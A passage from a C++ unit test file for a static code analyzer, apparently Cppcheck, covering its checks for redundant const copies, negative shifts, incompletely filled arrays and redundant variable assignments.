\"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 